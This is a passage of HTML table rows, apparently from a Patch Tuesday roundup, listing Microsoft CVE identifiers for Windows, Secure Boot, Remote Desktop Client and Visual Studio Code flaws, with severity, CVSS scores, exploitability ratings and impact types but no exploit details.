  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
